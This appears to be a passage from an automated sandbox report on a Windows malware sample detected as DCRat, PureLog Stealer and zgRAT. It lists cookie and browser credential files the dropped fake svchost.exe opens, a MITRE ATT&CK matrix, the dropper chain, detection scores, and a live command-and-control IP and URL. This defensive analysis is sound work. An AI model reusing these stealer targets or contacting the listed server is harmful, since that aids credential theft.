                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-walJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior

                              Remote Access Functionality

                              barindex
                              Yara detected DCRat
                              Source: Yara matchFile source: 0000000E.00000002.3783847798.0000000012AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 4340, type: MEMORYSTR
                              Yara detected PureLog Stealer
                              Source: Yara matchFile source: ugRGgCJhQl.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.69ee6cb.1.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 14.0.svchost.exe.230000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0000000E.00000000.1292145325.0000000000232000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1235344386.00000000069A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1234987945.0000000006090000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\comref\svchost.exe, type: DROPPED
                              Yara detected zgRAT
                              Source: Yara matchFile source: ugRGgCJhQl.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.69ee6cb.1.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 14.0.svchost.exe.230000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\comref\svchost.exe, type: DROPPED

                              Mitre Att&ck Matrix

                              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                              Gather Victim Identity Information11
                              Scripting                              		Valid Accounts141
                              Windows Management Instrumentation                              		11
                              Scripting                              		1
                              DLL Side-Loading                              		1
                              Disable or Modify Tools                              		1
                              OS Credential Dumping                              		1
                              System Time Discovery                              		Remote Services11
                              Archive Collected Data                              		1
                              Encrypted Channel                              		Exfiltration Over Other Network MediumAbuse Accessibility Features
                              CredentialsDomainsDefault Accounts1
                              Native API                              		1
                              DLL Side-Loading                              		112
                              Process Injection                              		11
                              Deobfuscate/Decode Files or Information                              		LSASS Memory2
                              File and Directory Discovery                              		Remote Desktop Protocol1
                              Data from Local System                              		1
                              Non-Application Layer Protocol                              		Exfiltration Over BluetoothNetwork Denial of Service
                              Email AddressesDNS ServerDomain Accounts2
                              Command and Scripting Interpreter                              		Logon Script (Windows)Logon Script (Windows)4
                              Obfuscated Files or Information                              		Security Account Manager157
                              System Information Discovery                              		SMB/Windows Admin Shares1
                              Clipboard Data                              		11
                              Application Layer Protocol                              		Automated ExfiltrationData Encrypted for Impact
                              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
                              Software Packing                              		NTDS361
                              Security Software Discovery                              		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
                              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                              DLL Side-Loading                              		LSA Secrets2
                              Process Discovery                              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts111
                              Masquerading                              		Cached Domain Credentials251
                              Virtualization/Sandbox Evasion                              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items251
                              Virtualization/Sandbox Evasion                              		DCSync1
                              Application Window Discovery                              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job112
                              Process Injection                              		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                              Behavior Graph

                              Hide Legend

                              Legend:

                              • Process
                              • Signature
                              • Created File
                              • DNS/IP Info
                              • Is Dropped
                              • Is Windows Process
                              • Number of created Registry Values
                              • Number of created Files
                              • Visual Basic
                              • Delphi
                              • Java
                              • .Net C# or VB.NET
                              • C, C++ or other language
                              • Is malicious
                              • Internet
                              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1500382 Sample: ugRGgCJhQl.exe Startdate: 28/08/2024 Architecture: WINDOWS Score: 100 40 Suricata IDS alerts for network traffic 2->40 42 Antivirus detection for URL or domain 2->42 44 Antivirus detection for dropped file 2->44 46 11 other signatures 2->46 8 ugRGgCJhQl.exe 3 6 2->8         started        process3 file4 32 C:\comref\svchost.exe, PE32 8->32 dropped 34 C:\comref\dbCG2LHUCV1kAJJ.bat, ASCII 8->34 dropped 36 C:\comref\POAHIjOuJ41OH.vbe, data 8->36 dropped 56 Drops PE files with benign system names 8->56 12 wscript.exe 1 8->12         started        signatures5 process6 signatures7 58 Windows Scripting host queries suspicious COM object (likely to drop second stage) 12->58 15 cmd.exe 1 12->15         started        process8 process9 17 svchost.exe 1 904 15->17         started        22 conhost.exe 15->22         started        dnsIp10 38 185.106.93.197, 49708, 49709, 49710 SUPERSERVERSDATACENTERRU Russian Federation 17->38 24 C:\Users\user\Desktop\jIMTFKhG.log, PE32 17->24 dropped 26 C:\Users\user\Desktop\eVuUdNSS.log, PE32 17->26 dropped 28 C:\Users\user\Desktop\ThQetCXk.log, PE32 17->28 dropped 30 2 other malicious files 17->30 dropped 48 Antivirus detection for dropped file 17->48 50 System process connects to network (likely due to code injection or exploit) 17->50 52 Multi AV Scanner detection for dropped file 17->52 54 4 other signatures 17->54 file11 signatures12

                              Screenshots

                              Thumbnails

                              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                              windows-stand

                              Antivirus, Machine Learning and Genetic Malware Detection

                              Initial Sample

                              SourceDetectionScannerLabelLink
                              ugRGgCJhQl.exe56%VirustotalBrowse
                              ugRGgCJhQl.exe79%ReversingLabsWin32.Trojan.Uztuby
                              ugRGgCJhQl.exe100%AviraVBS/Runner.VPG
                              ugRGgCJhQl.exe100%Joe Sandbox ML

                              Dropped Files

                              SourceDetectionScannerLabelLink
                              C:\Users\user\Desktop\eVuUdNSS.log100%AviraTR/PSW.Agent.qngqt
                              C:\Users\user\Desktop\ThQetCXk.log100%AviraHEUR/AGEN.1300079
                              C:\comref\POAHIjOuJ41OH.vbe100%AviraVBS/Runner.VPG
                              C:\comref\svchost.exe100%AviraHEUR/AGEN.1323342
                              C:\Users\user\Desktop\eVuUdNSS.log100%Joe Sandbox ML
                              C:\comref\svchost.exe100%Joe Sandbox ML
                              C:\Users\user\Desktop\ApTjSBhc.log17%ReversingLabs
                              C:\Users\user\Desktop\ApTjSBhc.log14%VirustotalBrowse
                              C:\Users\user\Desktop\LMrHnriI.log29%ReversingLabs
                              C:\Users\user\Desktop\LMrHnriI.log29%VirustotalBrowse
                              C:\Users\user\Desktop\ThQetCXk.log17%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Users\user\Desktop\ThQetCXk.log22%VirustotalBrowse
                              C:\Users\user\Desktop\eVuUdNSS.log71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\Users\user\Desktop\eVuUdNSS.log69%VirustotalBrowse
                              C:\Users\user\Desktop\jIMTFKhG.log29%ReversingLabsByteCode-MSIL.Trojan.Generic
                              C:\Users\user\Desktop\jIMTFKhG.log27%VirustotalBrowse
                              C:\comref\svchost.exe71%ReversingLabsByteCode-MSIL.Trojan.DCRat
                              C:\comref\svchost.exe75%VirustotalBrowse

                              Unpacked PE Files

                              ⊘No Antivirus matches

                              Domains

                              ⊘No Antivirus matches

                              URLs

                              SourceDetectionScannerLabelLink
                              https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
                              https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
                              https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
                              https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
                              https://www.ecosia.org/newtab/0%URL Reputationsafe
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                              https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
                              https://duckduckgo.com/chrome_newtab0%Avira URL Cloudsafe
                              https://duckduckgo.com/ac/?q=0%Avira URL Cloudsafe
                              https://www.google.com/images/branding/product/ico/googleg_lodp.ico0%Avira URL Cloudsafe
                              http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/Pro0%Avira URL Cloudsafe
                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%Avira URL Cloudsafe
                              http://185.106.93.1970%Avira URL Cloudsafe
                              http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php100%Avira URL Cloudmalware
                              http://185.106H0%Avira URL Cloudsafe
                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%VirustotalBrowse
                              http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php3%VirustotalBrowse
                              https://www.google.com/images/branding/product/ico/googleg_lodp.ico0%VirustotalBrowse
                              https://duckduckgo.com/chrome_newtab0%VirustotalBrowse
                              http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/Pro3%VirustotalBrowse
                              https://duckduckgo.com/ac/?q=0%VirustotalBrowse
                              http://185.106.93.1974%VirustotalBrowse

                              Domains and IPs

                              Contacted Domains

                              ⊘No contacted domains info

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.phptrue
                              • 3%, Virustotal, Browse
                              • Avira URL Cloud: malware
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://ac.ecosia.org/autocomplete?q=svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              https://duckduckgo.com/chrome_newtabsvchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpfalse
                              • 0%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
